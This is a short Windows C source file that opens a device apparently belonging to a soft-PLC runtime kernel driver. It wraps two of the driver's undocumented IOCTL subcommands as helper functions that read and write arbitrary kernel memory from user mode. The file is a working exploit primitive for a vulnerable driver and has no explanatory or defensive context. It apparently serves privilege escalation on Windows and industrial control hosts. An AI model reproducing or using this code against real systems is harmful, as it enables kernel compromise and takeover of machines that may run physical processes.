#include <windows.h>
#include <windowsx.h>

#include <WinIoCtl.h>

HANDLE g_hDriver = NULL;

#define FILE_DEVICE_KPLC  0x00008000

#define KPLC_IOCTL_INDEX  0x800

#define KPLC_CTL(i)	CTL_CODE(FILE_DEVICE_KPLC, KPLC_IOCTL_INDEX + (i), METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_DIRECT_COMMAND	KPLC_CTL(3)

#define RTS_CUSTOM_SERVICES		255
#define DCMD_SUBCMD_READ_BUFFER	22
#define DCMD_SUBCMD_WRITE_BUFFER	23

#pragma pack(4)

typedef struct tagAdditionalParameter
{
	unsigned long ulPar1;
	unsigned long ulPar2;
	unsigned long ulPar3;
	unsigned long ulPar4;
	unsigned long ulPar5;
}AdditionalParameter;

typedef struct tagDirectCommand
{
	unsigned char Cmd;
	unsigned char SubCmd;
	unsigned long ulRetInfo;
	AdditionalParameter adpar;
}DirectCommand;

#pragma pack()

unsigned long UtlReadKernelBuffer(char* local, char* kernel, unsigned long ulSize)
{
	DirectCommand dcmd;
	dcmd.Cmd = RTS_CUSTOM_SERVICES;
	dcmd.SubCmd = DCMD_SUBCMD_READ_BUFFER;
	dcmd.ulRetInfo = 0;

	if(g_hDriver == NULL || g_hDriver == INVALID_HANDLE_VALUE)
	{
		/*
		REMEMBER: Close the handle when leaving the DLL.
		*/
		g_hDriver = CreateFile(TEXT("\\\\.\\3SRTE"),
                                                 GENERIC_READ | GENERIC_WRITE,
                                            0,
                                            NULL,
                                            OPEN_EXISTING,
                                            FILE_ATTRIBUTE_NORMAL,
                                            NULL);
	}

	//Remember:
	//adpar.ulPar1 is always source address.
	//adpar.ulPar2 is always destination address.
	//adpra.ulPar3 is always size.
	dcmd.adpar.ulPar1 = (unsigned long)kernel;
	dcmd.adpar.ulPar2 = (unsigned long)local;
	dcmd.adpar.ulPar3 = ulSize;

	DWORD dwReturn;

	DeviceIoControl(g_hDriver,
					(DWORD)IOCTL_DIRECT_COMMAND,
					 &dcmd,
					 sizeof(DirectCommand),
					 &dcmd,
					 sizeof(DirectCommand),
					 &dwReturn,
					 0);

	return (dcmd.ulRetInfo == 1)?ulSize:0;
}

unsigned long UtlWriteKernelBuffer(char* local, char* kernel, unsigned long ulSize)
{
	DirectCommand dcmd;
	dcmd.Cmd = RTS_CUSTOM_SERVICES;
	dcmd.SubCmd = DCMD_SUBCMD_WRITE_BUFFER;
	dcmd.ulRetInfo = 0;
	
	/*
	REMEMBER: Close the handle when leaving the DLL.
	*/
	if(g_hDriver == NULL || g_hDriver == INVALID_HANDLE_VALUE)
	{
		g_hDriver = CreateFile(TEXT("\\\\.\\3SRTE"),
                                                 GENERIC_READ | GENERIC_WRITE,
                                            0,
                                            NULL,
                                            OPEN_EXISTING,
                                            FILE_ATTRIBUTE_NORMAL,
                                            NULL);
	}

	//Remember:
	//adpar.ulPar1 is always source address.
	//adpar.ulPar2 is always destination address.
	//adpra.ulPar3 is always size.
	dcmd.adpar.ulPar1 = (unsigned long)local;
	dcmd.adpar.ulPar2 = (unsigned long)kernel;
	dcmd.adpar.ulPar3 = ulSize;

	DWORD dwReturn;

	DeviceIoControl(g_hDriver,
					(DWORD)IOCTL_DIRECT_COMMAND,
					 &dcmd,
					 sizeof(DirectCommand),
					 &dcmd,
					 sizeof(DirectCommand),
					 &dwReturn,
					 0);

	return (dcmd.ulRetInfo == 1)?ulSize:0;
}
